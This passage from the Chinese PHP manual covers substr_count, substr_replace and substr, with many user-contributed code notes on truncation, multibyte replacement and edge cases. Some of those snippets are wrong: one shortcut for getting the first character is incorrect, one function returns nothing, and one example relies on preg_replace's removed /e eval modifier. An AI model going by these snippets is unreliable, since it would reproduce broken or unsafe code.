        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) toFloat($fval, "") . "</td>";
        echo "<td>" . (float) toFloat($fval, "f") . "</td>";
        echo "<td>" . (float) toFloat($fval, ".") . "</td>";
        echo "<td>" . (float) toFloat($fval, ",") . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
qeremy [atta] gmail [dotta] com 20-Sep-2013 08:45
Unicode example with "case-sensitive" option;

<?php
function substr_count_unicode($str, $substr, $caseSensitive = true, $offset = 0, $length = null) {
    if ($offset) {
        $str = substr_unicode($str, $offset, $length);
    }

    $pattern = $caseSensitive
        ? '~(?:'. preg_quote($substr) .')~u'
        : '~(?:'. preg_quote($substr) .')~ui';
    preg_match_all($pattern, $str, $matches);

    return isset($matches[0]) ? count($matches[0]) : 0;
}

function substr_unicode($str, $start, $length = null) {
    return join('', array_slice(
        preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY), $start, $length));
}

$s = 'ümit yüzüm g?züm...';
print substr_count_unicode($s, 'ü');            // 3
print substr_count_unicode($s, 'ü', false);     // 4
print substr_count_unicode($s, 'ü', false, 10); // 1

print substr_count_unicode($s, 'üm');           // 2
print substr_count_unicode($s, 'üm', false);    // 3
?>
chrisstocktonaz at gmail dot com 26-Aug-2009 04:52
In regards to anyone thinking of using code contributed by zmindster at gmail dot com

Please take careful consideration of possible edge cases with that regex, in example:

$url = 'http://w3.host.tld/path/to/file/..../file.extension';
$url = 'http://w3.host.tld/path/to/file/../file.extension?malicous=....';

This would cause a infinite loop and for example be a possible entry point for a denial of service attack. A correct fix would require additional code, a quick hack would be just adding a additional check, without clarity or performance in mind:

...
$i = 0;
while (substr_count($url, '../') && ++$i < strlen($url))
...

-Chris
jrhodes at roket-enterprises dot com 18-Jun-2009 01:37
It was suggested to use

substr_count ( implode( $haystackArray ), $needle );

instead of the function described previously, however this has one flaw.  For example this array:

array (
  0 => "mystringth",
  1 => "atislong"
);

If you are counting "that", the implode version will return 1, but the function previously described will return 0.
gigi at phpmycoder dot com 12-Jan-2009 08:17
below was suggested a function for substr_count'ing an array, yet for a simpler procedure, use the following:

<?php
substr_count ( implode( $haystackArray ), $needle );
?>
info at fat-fish dot co dot il 05-May-2007 04:07
a simple version for an array needle (multiply sub-strings):
<?php

function substr_count_array( $haystack, $needle ) {
     $count = 0;
     foreach ($needle as $substring) {
          $count += substr_count( $haystack, $substring);
     }
     return $count;
}
?>
flobi at flobi dot com 25-Oct-2006 07:07
Making this case insensitive is easy for anyone who needs this.  Simply convert the haystack and the needle to the same case (upper or lower).

substr_count(strtoupper($haystack), strtoupper($needle))
XinfoX X at X XkarlX X-X XphilippX X dot X XdeX 21-Dec-2003 01:27
Yet another reference to the "cgcgcgcgcgcgc" example posted by "chris at pecoraro dot net":

Your request can be fulfilled with the Perl compatible regular expressions and their lookahead and lookbehind features.

The example

 $number_of_full_pattern = preg_match_all('/(cgc)/', "cgcgcgcgcgcgcg", $chunks);

works like the substr_count function. The variable $number_of_full_pattern has the value 3, because the default behavior of Perl compatible regular expressions is to consume the characters of the string subject that were matched by the (sub)pattern. That is, the pointer will be moved to the end of the matched substring.
But we can use the lookahead feature that disables the moving of the pointer:

 $number_of_full_pattern = preg_match_all('/(cg(?=c))/', "cgcgcgcgcgcgcg", $chunks);

In this case the variable $number_of_full_pattern has the value 6.
Firstly a string "cg" will be matched and the pointer will be moved to the end of this string. Then the regular expression looks ahead whether a 'c' can be matched. Despite of the occurence of the character 'c' the pointer is not moved.


替换字符串的子串

  • ? substr_count
  • substr ?
  • PHP Manual
  • 字符串 函数
  • 替换字符串的子串

substr_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

substr_replace — 替换字符串的子串

说明

substr_replace(
array|string $string,
array|string $replace,
array|int $offset,
array|int|null $length = null
): string|array

substr_replace() 在字符串 string 的副本中将由 offset 和可选的 length 参数限定的子字符串使用 replace 进行替换。

参数

string

输入字符串。

可以提供 array 类型的 string，会依次替换出现的字符串。在这种情况下，replace、offset 和 length 参数可以作为标量值依次提供给每个输入字符串，或者作为 array 提供，然后数组元素将会相应的用于每个输入字符串。

replace

替换字符串。

offset

如果 offset 为非负数，替换将从 string 的 offset 位置开始。

如果 offset 为负数，替换将从 string 的倒数第 offset 个位置开始。

length

如果设定了这个参数并且为正数，表示 string 中被替换的子字符串的长度。如果设定为负数，它表示待替换的子字符串结尾处距离 string 末端的字符个数。如果没有提供此参数，那么它默认为 strlen( string )（字符串的长度）。当然，如果 length 为 0，那么这个函数的功能为将 replace 插入到 string 的 offset 位置处。

返回值

返回结果字符串。如果 string 是个数组，那么也将返回一个数组。

更新日志

版本 | 说明
8.0.0 | length 现在允许为 null。

示例

Example #1 substr_replace() 示例

<?php
$var = 'ABCDEFGH:/MNRPQR/';
echo "Original: $var<hr />\n";

/* 这两个例子使用 "bob" 替换整个 $var。*/
echo substr_replace($var, 'bob', 0) . "<br />\n";
echo substr_replace($var, 'bob', 0, strlen($var)) . "<br />\n";

/* 将 "bob" 插入到 $var 的开头处。*/
echo substr_replace($var, 'bob', 0, 0) . "<br />\n";

/* 下面两个例子使用 "bob" 替换 $var 中的 "MNRPQR"。*/
echo substr_replace($var, 'bob', 10, -1) . "<br />\n";
echo substr_replace($var, 'bob', -7, -1) . "<br />\n";

/* 从 $var 中删除 "MNRPQR"。*/
echo substr_replace($var, '', 10, -1) . "<br />\n";
?>

Example #2 一次性使用 substr_replace() 替换多个字符串

<?php
$input = array('A: XXX', 'B: XXX', 'C: XXX');

// 简单用例：将每个字符串使用 YYY 替换为 XXX。
echo implode('; ', substr_replace($input, 'YYY', 3, 3))."\n";

// 更复杂的情况，每种替换都不同。
$replace = array('AAA', 'BBB', 'CCC');
echo implode('; ', substr_replace($input, $replace, 3, 3))."\n";

// 每次替换的字符数不同。
$length = array(1, 2, 3);
echo implode('; ', substr_replace($input, $replace, 3, $length))."\n";
?>

以上示例会输出：

A: YYY; B: YYY; C: YYY
A: AAA; B: BBB; C: CCC
A: AAAXX; B: BBBX; C: CCC

注释

Note: 此函数可安全用于二进制对象。

参见

  • str_replace() - 子字符串替换
  • substr() - 返回字符串的子串
  • 字符串访问与修改

User Contributed Notes

meg dot phillips91 at gmail dot com 18-Jun-2020 04:47
This may be obvious to others, but I just spent hours and my feeble brain only caught up to it after a long break.

If you are looping through a string which has multiple substrings that need to be replaced, you have to add an offset factor to each original offset before you replaced any strings. Here is a real world example:

From draft.js we get paragraphs with multiple links designated only with offset, anchor text length, url, target. So each anchor text must be wrapped in the <a href="url" target="target">anchortext</a> to save proper content in the database.

Here is the implementation of offset factor:

 $offset_factor = 0;

 foreach($content->links->links as $index=>$link){
            $replacement = '<a href="'.$link->href.'"  target="$link->target">'.$link->anchorText.'</a>';
            $new_offset = $link->offset + $offset_factor;
            $newtext = \substr_replace($content->text, $replacement, $new_offset, $link->length);

            //now we reset the original paragraph text with newtext
            $content->text = $newtext;

            //calculate the new offset by calculating the difference in replacement length and original length and add that to the offset_factor
            $additional_characters = strlen($replacement) - $link->length;
            $offset_factor =  $offset_factor + $additional_characters;
        }

I hope this helps a noobie :) If there is another easier way, I would love to hear about it.
shaman_master at list dot ru 31-Dec-2019 10:48
Add prefix to strings:
<?php
substr_replace($strings, '_prefix', 0, 0);
?>
Add suffix/postfix to strings:
<?php
substr_replace($strings, '_suffix', array_map('strlen', $strings), 0);
?>
bkline at rksystems dot com 12-Mar-2019 01:21
I imagine the description of the parameters really means "number of bytes" where it says "number of characters" (confirmed by testing).
yeyijelud at amadamus dot com 08-Nov-2018 06:18
First Example can be simplified =>

 $input = array('A: XXX', 'B: XXX', 'C: XXX');

 substr_replace($input, 'YYY', -3);

output: Array ( [0] => A: YYY [1] => B: YYY [2] => C: YYY )
Hayley Watson 26-Sep-2017 12:32
See array_splice if you want to do this sort of thing to an array.
nospam at nospam dot com 21-Jan-2016 09:45
<?php

// shortens a long string to a max length while inserting a string into the exact middle
function strShorten($str, $maxlen = 10, $insert = '/.../') {
  if ($str && !is_array($str)) { // valid string
    if ($maxlen && is_numeric($maxlen) && $maxlen < strlen($str)) { // string needs shortening
      if ($insert && ($ilen = strlen($insert))) { // insert string and length
        if ($ilen >= $maxlen) { // insert string too long so use default insert
          $insert = '**'; // short default so works even when a very small $maxlen
          $ilen = 2;
        }
      }
      $chars = $maxlen - $ilen; // number of $str chars to keep
      $start = ceil($chars/2); // position to start cutting
      $end = floor($chars/2); // position from end to stop cutting
      return substr_replace($str, $insert, $start, -$end); // first.insert.last
    } else { // string already short enough
      return $str; // return original string
    }
  }
}

echo strShorten('123456789', 6, ''); // outputs 123789
echo strShorten('123456789', 6, '-'); // outputs 123-89
echo strShorten('123456789', 6, 'longstring'); // outputs 12**89
echo strShorten('abcdefghijklmnopqrstuvwxyz', 10, '..'); // outputs abcd..wxyz
echo strShorten('abcdefghijklmnopqrstuvwxyz'); // outputs abc/.../yz

?>
olav at schettler dot net 01-Nov-2015 08:12
Please note that the function array_slice(), which has a similar functionality but for arrays rather than for strings, has its parameters in a different order.
ivijan dot stefan at gmail dot com 05-Mar-2014 08:15
I have a little function that works like substr_replace ()  what I use for some purpose. Maybe someone needs it.

<?php
function putinplace($string=NULL, $put=NULL, $position=false)
{
    $d1=$d2=$i=false;
    $d=array(strlen($string), strlen($put));
    if($position > $d[0]) $position=$d[0];
    for($i=$d[0]; $i >= $position; $i--) $string[$i+$d[1]]=$string[$i];
    for($i=0; $i<$d[1]; $i++) $string[$position+$i]=$put[$i];
    return $string;
}

// Explanation
$string='My dog dont love postman'; // string
$put="'"; // put ' on position
$position=10; // number of characters (position)
print_r( putinplace($string, $put, $position) );
?>

RESULT: My dog don't love postman

This is a small powerful function that performs its job flawlessly.
blessador at gmail dot com 18-Jun-2013 08:36
<?php
$price = "12000";
$price = substr_replace ($price, ',', -3, 0)";
?>

ensure to remove the double quot  " at the end of substr_replace ($price, ',', -3, 0)" in the above  code to avoid error.
elloromtz at gmail dot com 17-Apr-2010 11:23
It's worth noting that when start and length are both negative -and- the length is less than or equal to start, the length will have the effect of being set as 0.

<?php
substr_replace('eggs','x',-1,-1); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
?>

Same as:
<?php
substr_replace('eggs','x',-1,0); //eggxs
?>

<?php
substr_replace('huevos','x',-2,-2); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
?>

Same as:
<?php
substr_replace('huevos','x',-2,0); //huevxos
?>

Another note, if length is negative and start offsets the same position as length, length (yet again) will have the effect as being set as 0. (Of course, as mentioned in the manual, when length is negative it actually represents the position before it)

<?php
substr_replace('abcd', 'x', 0, -4); //xabcd
?>

Same as:
<?php
substr_replace('abcd','x',0,0); //xabcd
?>

<?php
substr_replace('abcd', 'x', 1, -3); //axbcd
?>

Same as:
<?php
substr_replace('abcd', 'x', 1, 0); //axbcd
?>
den dot gierling at web dot de 19-Feb-2010 10:32
My problem was that substr_replace() always added $replacement, so i wrote my own function.
This function only adds $replacement, if substr() took action.
The parameter $length is optional - like substr()'s.
Or I was too stupid using $start and $length...

<?php
function substr_replace_provided($string,$replacement,$start,$length=NULL)
{
    $tmp=substr($string,$start,$length);
    if($string!==$tmp) {
        $string = $tmp.$replacement;
    }
    return $string;
}
?>
kalim dot fleet at gmail dot com 10-Oct-2009 09:49
This will truncate a longer string to a smaller string of specified length while replacing the middle portion with a separator exactly in the middle.

<?php

$longString = 'abcdefghijklmnopqrstuvwxyz0123456789z.jpg';
$separator = '/.../';
$separatorlength = strlen($separator) ;
$maxlength = 25 - $separatorlength;
$start = $maxlength / 2 ;
$trunc =  strlen($longString) - $maxlength;

echo substr_replace($longString, $separator, $start, $trunc);

//prints "abcdefghij/.../56789z.jpg"

?>
admiral at nuclearpixel dot com 06-Oct-2009 11:54
Hey everyone, I was noticing that there are a lot of ways below that people are using to write their own string truncation functions, but it kinda seemed like a lot of them went a bit too far out to make any sense to a n00b. Not that I am one anymore, but I though I'd add a note on this topic myself, in hopes that it might help others understand things a little better.

Here's a concept that some people don't know about, or remember to use often enough; You can actually pull individual characters out of a string by referencing that string as though it were an array. Example: If I have the string $s = 'cat', I can use $s[0] to actually get out only the first character of that string, 'c'. I use that same principle below, but I just use a loop to iterate through a string and add the characters to the output variable one by one until the $lenth param has been reached, or until the end of the string.

I hope this can help someone out!

-Admiral Potato

<?php

function admiralsTruncate($string, $length){
    settype($string, 'string');
    settype($length, 'integer');
    for($a = 0; $a < $length AND $a < strlen($string); $a++){
        $output .= $string[$a];
    }
    return($output);
}

$my_string = 'cfcd208495d565ef66e7dff9f98764da';

echo admiralsTruncate($my_string, 6);    // outputs: cfcd20

echo '<br>';

echo admiralsTruncate($my_string, 9);    // outputs: cfcd20849

?>
billg AT microsoft.com 07-Apr-2009 07:31
Forget all of the mb_substr_replace() implementations mentioned in this page, they're all buggy.

Here is a version that mimics the behavior of substr_replace() exactly:

<?php

if (function_exists('mb_substr_replace') === false)
{
    function mb_substr_replace($string, $replacement, $start, $length = null, $encoding = null)
    {
        if (extension_loaded('mbstring') === true)
        {
            $string_length = (is_null($encoding) === true) ? mb_strlen($string) : mb_strlen($string, $encoding);

            if ($start < 0)
            {
                $start = max(0, $string_length + $start);
            }

            else if ($start > $string_length)
            {
                $start = $string_length;
            }

            if ($length < 0)
            {
                $length = max(0, $string_length - $start + $length);
            }

            else if ((is_null($length) === true) || ($length > $string_length))
            {
                $length = $string_length;
            }

            if (($start + $length) > $string_length)
            {
                $length = $string_length - $start;
            }

            if (is_null($encoding) === true)
            {
                return mb_substr($string, 0, $start) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length);
            }

            return mb_substr($string, 0, $start, $encoding) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length, $encoding);
        }

        return (is_null($length) === true) ? substr_replace($string, $replacement, $start) : substr_replace($string, $replacement, $start, $length);
    }
}

?>
juichenieder-phnet at yahoo dot co dot uk 25-Mar-2009 10:58
I've just taken a look at the post by ntoniazzi and I have a very small correction to make.

In the second if statement, it should be a triple equals, so:

<?php if ($length === null) ?>

It requires the triple equals, for the case of pure insertion, where $length = 0, the double equals, will catch this, causing the string to be cut short.  I hope this helps someone.
NiX0n at fragfest dot cx 09-Oct-2008 09:41
The preemptive test to see if $string is "too long" shouldn't add strlen($replacement) to $max.  $max should represent the absolute maximum length of string returned.  The size of the $replacement is irrelevant in that determination.

The rest of the function (unchanged below) operates as defined above.  Meaning, the size of the $replacement is subtracted from the $max, so that the returned string is exactly the length of $max.

<?php
function truncate($string, $max = 20, $replacement = '')
{
    if (strlen($string) <= $max)
    {
        return $string;
    }
    $leave = $max - strlen ($replacement);
    return substr_replace($string, $replacement, $leave);
}
?>
spcl dot delivery at gmail dot com 27-Jul-2008 04:14
the version of my predecessor will add $rep even if the string is shorter than max. fixed version:

<?php
function truncate($string, $max = 20, $rep = '')
{
    if (strlen($string) <= ($max + strlen($rep)))
    {
        return $string;
    }
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}
?>

To preserve the filename extension you can call it like this:

truncate([filename], 30, '...' . end(explode('.', [filename])))
eblejr AT phrebh DOT com 04-Jun-2008 08:42
PHP version of Java's removeCharAt() function:

<?php
function removeCharAt($str, $int){
  return substr_replace($str,"",$int,1);
}
?>
William Barry 23-Apr-2008 12:18
I recently ran across a situation where I need to strip a heavily nested html list such that only the top level was preserved.  I started with a regular expression solution, but found that I kept matching the wrong closing ul with an outer opening ul.

This was my alternative solution, and it seems to work well:

<?php

function stripNestedLists($str)
{
    $str2 = $str;
    $lastStr = $str2;

    do
    {
        // Find the first closing ul
        $cul = strpos($str2, '</ul>');
        $ul = 0;
        $lastUL = 0;
        do
        {
            // Find the next opening ul
            $lastUL = $ul;
            $ul = strpos($str2, '<ul', $ul+1);
        }
        while ($ul !== false && $ul < $cul);

        $lastStr = $str2;
        $str2 = substr_replace($str2, '', $lastUL, $cul-$lastUL+5);
        $str2 = trim($str2);
    }
    while (strlen($str2) > 0);

    return $lastStr;
}

?>

Hope this helps someone.
jaimthorn at yahoo dot com 25-Mar-2008 10:53
I recently needed a routine that would remove the characters in one string from another, like the regex

<?php
   $result = preg_replace("/[$chars]/", "", $string);
?>

and I needed it to be fast, and accept pretty much all input.  The regex above won't work when strlen($chars) == 0.  I came up with this, admittedly pretty horrible-looking code, that is quite fast:

<?php

function RemoveChars($string, $chars)
{
    return isset($chars{0}) ? str_replace($chars{0}, "", strtr($string, $chars, str_pad($chars{0}, strlen($chars), $chars{0}))) : $string;
}

?>

According to my own measurements, the regex in ONLY faster for when strlen($chars) == 1; for longer strings, my routine is faster.  What does it do?  Let's say you want to remove the period, the comma and the exclamation mark from a string, like so:
$result = RemoveChars("Isn't this, like, totally neat..!?", ".?!");
The str_pad function creates a string equal in length to the string that contains the character to be removed, but consisting only of the first character of that string:
The input is ".,!"
The output is "..."
The strtr function translates all characters in the string-to-be-processed ("Isn't this...") that also occur in the input (".,!") to the characters in the same position in the output ("...").  In other words:
Isn't this, like, totally neat..!?
becomes
Isn't this. like. totally neat....
Finally, the first character from the input (".,!") which happens to be, again, the period, is removed from that string by the str_replace call:
Isn't this like totally neat?
The function needs to check is $chars has at least one character, or else the str_pad function will fail.  If it's empty, then the unprocessed string is returned.
ntoniazzi at sqli dot com 14-Feb-2008 01:07
Almost... In the previous note, change this :
<?php
    function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) {
        if ($encoding == null) $encoding = mb_internal_encoding();
        if($start < 0) $start = mb_strlen($string) + $start;
    [...]
?>
alishahnovin at hotmail dot com 07-Aug-2007 12:56
I like the truncate function below...however, I found a few issues. Particularly if you have content that may have any kind of punctuation in it (?, !, ?!?, --, ..., .., ;, etc.)

The older function would end up looking like "blah blah?..." or "blah blah,..." which doesn't look so nice to me...

Here's my fix. It removes all trailing punctuation (that you include in the $punctuation string below) and then adds an ellipse. So even if it has an ellipse with 3 dots, 2 dots, 4 dots, it'll be removed, then re-added.

<?php
function truncate($text,$numb,$etc = "...") {
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));

$punctuation = ".!?:;,-"; //punctuation you want removed

$text = (strspn(strrev($text),  $punctuation)!=0)
        ?
        substr($text, 0, -strspn(strrev($text),  $punctuation))
        :
$text;

$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}
?>

I also needed a sort of "middle" truncate. The above function truncates around the end, but if you want to truncate around the middle (ie "Hello this is a long string." --> "Hello this ... long string.") you can use this (requires the truncate function):

<?php
function mtruncate($text, $numb, $etc = " ... ") {
    $first_part = truncate(truncate($text, strlen($text)/2, ""), $numb/2, "");
    $second_part = truncate(strrev(truncate(strrev($text), strlen($text)/2, "")), $numb/2, "");
    return $first_part.$etc.$second_part;
}
?>
chuayw2000 at hotmail dot com 09-Dec-2005 03:33
I don't know if this function is multibyte safe but I've written a function that will do the same in multibyte mode.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
   //Same parameters as substr_replace with the extra encoding parameter.
    function mb_substr_replace($string,$replacement,$start,$length=null,$encoding = null){
        if ($encoding == null){
            if ($length == null){
                return mb_substr($string,0,$start).$replacement;
            }
            else{
                return mb_substr($string,0,$start).$replacement.mb_substr($string,$start + $length);
            }
        }
        else{
            if ($length == null){
                return mb_substr($string,0,$start,$encoding).$replacement;
            }
            else{
                return mb_substr($string,0,$start,$encoding). $replacement. mb_substr($string,$start + $length,mb_strlen($string,$encoding),$encoding);
            }
        }
    }
}
?>
hermes at andycostell dot com 27-Aug-2005 11:48
I suggest changing the function suggested by Guru Evi slightly. I found that it doesn't work as written here.

Original:
function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I suggest:
function add_3dots($string,$repl,$limit) {
       if(strlen($string) > $limit) {
           return substr_replace(strip_tags($string),$repl,$limit-strlen($repl));
       } else {
           return $string;
       }
    }

Usage:

$max_length=10;//the max number of characters you want to display
$too_long_string="BLAH BLAH BLAH BLAH BLAH etc.";//the string you want to shorten (if it's longer than the $limit)
$shorter_string=add_3_dots($too_long_string,"...",$max_length);
Guru Evi 13-Jul-2005 12:44
If your string is not long enough to meet what you specify in start and length then the replacement string is added towards the end of the string.

I wanted to replace the end of the string with ... if the string was too long to display (for instance article preview on a website). The problem was that my string was sometimes not that long and it still added the replacement string. So I wrote a function to replace substr_replace in my website:

function add_3dots($string,$repl,$start,$limit) {
    if(strlen($string) > $limit) {
        return substr_replace(strip_tags($string),$repl,$start,$limit);
    } else {
        return $string;
    };
};

I use strip_tags to strip out the HTML otherwise you might get a screwed up HTML (when a tags open in the string, but because you cut-off it doesn't)
danieldoorduin at hotmail dot com 10-Dec-2004 02:48
Using substr_replace() can be avoided by using substr() instead:

<?
$string = substr($string, 0, $position_needle).$replace.substr($string, $position_needle+$length_needle);
?>

This can be useful when you need to replace parts of multibyte strings like strings encoded with utf-8. There isn't a multibute variant for substr_replace(), but for php substr() there is mb_substr(). For more information on multibyte strings see http://nl3.php.net/manual/en/ref.mbstring.php
dmron 17-Jun-2004 04:34
Regarding "...", even the short functions are too long and complicated, and there's no need to use substr_replace. substr() works better and is  way faster prior to 4.3.5 as the below poster stated.

function shorten( $str, $num = 100 ) {
  if( strlen( $str ) > $num ) $str = substr( $str, 0, $num ) . "...";
  return $str;
}
tony at outshine dot com 10-May-2004 02:25
The comment by geniusdex is a good one.  Short, simple functions are the best.  But if the string is not longer than the limit set, NOTHING is returned.  Here is the function re-done to always return a string:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        $str = substr_replace($str, $dots, $len - $dotlen);
    }
    return $str;
}
?>
geniusdex ( at ) brz ( dot ) nu 23-Feb-2004 07:33
This is my version of making dotted strings:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        substr_replace($str, $dots, $len - $dotlen);
    }
}
?>
Thijs Wijnmaalen (thijs[at]nllinux.nl) 20-Jan-2004 11:05
I wrote a function that you can use for example in combination with a search script to cut off the articles that are too long.

<?php
function substr_index($text, $maxChars = 20, $splitter
= '...') {

$theReturn = $text;
$lastSpace = false;

if (strlen($text) > $maxChars) {
$theReturn = substr($text, 0, $maxChars - 1);

if (in_array(substr($text, $maxChars - 1, 1),
array(' ', '.', '!', '?'))) {
$theReturn .= substr($text, $maxChars, 1);
} else {
$theReturn = substr($theReturn, 0, $maxChars -
strlen($splitter));
$lastSpace = strrpos($theReturn, ' ');

if ($lastSpace !== false) {
$theReturn = substr($theReturn, 0, $lastSpace);
}

if (in_array(substr($theReturn, -1, 1), array(','))) {
$theReturn = substr($theReturn, 0, -1);
}
$theReturn .= $splitter;
}
}
return $theReturn;
}
?>
david at ethinkn dot com 05-Jul-2003 05:36
Here is a simple function to shorten a string and add an ellipsis

<?php

/**
 * truncate() Simple function to shorten a string and add an ellipsis
 *
 * @param string $string Origonal string
 * @param integer $max Maximum length
 * @param string $rep Replace with... (Default = '' - No elipsis -)
 * @return string
 * @author David Duong
 **/
function truncate ($string, $max = 50, $rep = '') {
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}

echo truncate ('akfhslakdhglksjdgh', 10, '...');
// Returns akfhsla... (10 chrs)

?>
thomasNOSPAM at sportentranceNOSPAM dot com 08-Oct-2002 03:01
To abbreviate links into '...' if they outreach a certain amount of space; use the preg_replace function instead.

For instance you grabbed the headlines of a news site for use on your own page and the lines are to long:

asuming the raw material is stored in $unedited;

$edited = preg_replace("/(>)([[:print:]]{52,})(<)/e", "'\\1'.substr_replace('\\2 ', '...', '48').'\\3'", $unedited);
echo $edited;

This will shorten strings longer than 52 characters into 51 characters, with the last being three dots...
klaas at group94 dot com 13-Feb-2002 10:38
THE DOT DOT DOT ISSUE

PROBLEM:
You want to abbreviate a string.
E.g. You want "BritneySpears" to show as "BritneySpe...", being only the ten first characters followed by "..."

SOLUTION:
<?
$oRIGINAL = "BritneySpears";
$sHORTER = substr_replace($oRIGINAL, '...', 10);
echo ($sHORTER);
?>

This will result in BritneySpe...
28-Sep-2001 08:30
If you would like to remove characters from the start or end of a string, try the substr() function.

For example, to remove the last three characters from a string:
$string = "To be or not to be.";
$string = substr ($string, 0, -3);
mrbrown8 at juno dot com 16-Apr-2001 12:16
Just to add to the examples, if replacement is longer than length, only the length number of chars are removed from string and all of replacement is put in its place, and therefor strlen($string) is inreased.

$var = 'ABCDEFGH:/MNRPQR/';
/*  Should return ABCDEFGH:/testingRPQR/   */
echo substr_replace ($var, 'testing', 10, 2);


返回字符串的子串

  • ? substr_replace
  • trim ?
  • PHP Manual
  • 字符串 函数
  • 返回字符串的子串

substr

(PHP 4, PHP 5, PHP 7, PHP 8)

substr — 返回字符串的子串

说明

substr(string $string, int $offset, ?int $length = null): string

返回字符串 string 由 offset 和 length 参数指定的子字符串。

参数

string

输入字符串。

offset

如果 offset 是非负数，返回的字符串将从 string 的 offset 位置开始，从 0 开始计算。例如，在字符串 "abcdef" 中，在位置 0 的字符是 "a"，位置 2 的字符串是 "c" 等等。

如果 offset 是负数，返回的字符串将从 string 结尾处向前数第 offset 个字符开始。

如果 string 的长度小于 offset，将返回空字符串。

Example #1 使用负数 offset

<?php
$rest = substr("abcdef", -1); // 返回 "f"
$rest = substr("abcdef", -2); // 返回 "ef"
$rest = substr("abcdef", -3, 1); // 返回 "d"
?>

length

如果提供了正数的 length，返回的字符串将从 offset 处开始最多包括 length 个字符（取决于 string 的长度）。

如果提供了负数的 length，那么 string 末尾处的 length 个字符将会被省略（若 offset 是负数则从字符串尾部算起）。如果 offset 不在这段文本中，那么将返回空字符串。

如果提供了值为 0 的 length，那么将返回一个空字符串。

如果忽略 length 或为 null，返回的子字符串将从 offset 位置开始直到字符串结尾。

Example #2 使用负数 length

<?php
$rest = substr("abcdef", 0, -1); // 返回 "abcde"
$rest = substr("abcdef", 2, -1); // 返回 "cde"
$rest = substr("abcdef", 4, -4); // 返回 ""; 在 PHP 8.0.0 之前，返回 false
$rest = substr("abcdef", -3, -1); // 返回 "de"
?>

返回值

返回提取的 string 部分或者空字符串。

更新日志

版本 | 说明
8.0.0 | 现在 length 允许为 null。当 length 显式设置为 null 时，函数返回在字符串末尾结束的子字符串，而之前将返回空字符串。
8.0.0 | 函数将返回空字符串, 在此之前返回 false。

示例

Example #3 substr() 基本用法

<?php
echo substr('abcdef', 1); // bcdef
echo substr("abcdef", 1, null); // bcdef; 在 PHP 8.0.0 之前，返回空字符串
echo substr('abcdef', 1, 3); // bcd
echo substr('abcdef', 0, 4); // abcd
echo substr('abcdef', 0, 8); // abcdef
echo substr('abcdef', -1, 1); // f

// 访问字符串中的单个字符
// 也可以使用中括号
$string = 'abcdef';
echo $string[0]; // a
echo $string[3]; // d
echo $string[strlen($string)-1]; // f
?>

Example #4 substr() casting behaviour

<?php
class apple {
public function __toString() {
return "green";
}
}

echo "1) ".var_export(substr("pear", 0, 2), true).PHP_EOL;
echo "2) ".var_export(substr(54321, 0, 2), true).PHP_EOL;
echo "3) ".var_export(substr(new apple(), 0, 2), true).PHP_EOL;
echo "4) ".var_export(substr(true, 0, 1), true).PHP_EOL;
echo "5) ".var_export(substr(false, 0, 1), true).PHP_EOL;
echo "6) ".var_export(substr("", 0, 1), true).PHP_EOL;
echo "7) ".var_export(substr(1.2e3, 0, 4), true).PHP_EOL;
?>

以上示例会输出：

1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) ''
6) ''
7) '1200'

Example #5 无效字符范围

如果请求的字符范围无效, substr() 从 PHP 8.0.0 开始返回空字符串；在此之前返回 false 。

<?php
var_dump(substr('a', 2));
?>

以上示例在 PHP 8 中的输出：

string(0) ""

以上示例在 PHP 7 中的输出：

bool(false)

参见

  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr_replace() - 替换字符串的子串
  • preg_match() - 执行匹配正则表达式
  • trim() - 去除字符串首尾处的空白字符（或者其他字符）
  • mb_substr() - 获取部分字符串
  • wordwrap() - 打断字符串为指定数量的字串
  • 字符串访问和修改

User Contributed Notes

robinhood70 at live dot ca 04-Jun-2021 05:45
Prior to PHP 8, specifying length with zero-length strings or non-string values as input can produce potentially unexpected results.

<?php
foreach (['normal', '', true, false, NULL] as $value) {
    echo gettype(substr($value, 0, 10)) . ' ' . substr($value, 0, 10);
}

/*
string normal
boolean
string 1
boolean
boolean
*/
?>
man13or at hotmail dot fr 30-Oct-2019 08:01
Shortcuts :

Getting the first character of a string
substr($string, 1)

Getting the last character of a string
substr($string, -1)

Remove the first character of a string
substr($string,1)

Remove the last character of a string
substr($string, 0, -1)
Anonymous 15-Nov-2017 01:17
Be aware of a slight inconsistency between substr and mb_substr

mb_substr("", 4);      returns empty string

substr("", 4);              returns boolean false

tested in PHP 7.1.11 (Fedora 26) and PHP 5.4.16 (CentOS 7.4)
m.m.j.kronenburg 06-Sep-2016 10:46
<?php

/**
  * Returns and extracts the portion of string specified by the
  * start and length parameters from the original string.
  *
  * This function is simulair to function substr() except that it
  * removes the substring from the orignal string
  * (passed by reference).
  *
  * @param string $string      The input string.
  * @param integer $start      The start position (see substr() for
  *                            explanation).
  * @param integer $length     The length (see substr()
  *                            for explanation).
  * @return mixed              The substring or FALSE (see substr()
  *                            for explanation).
  **/
function substrex(&$string, $start, $length = PHP_INT_MAX)
{
  if($start > strlen($string)) { return false; }
  if(empty($length))           { return ''; }
  if($start < 0) { $start = max(0, $start + strlen($string)); }
  $end = ($length < 0) ?
    strlen($string) + $length :
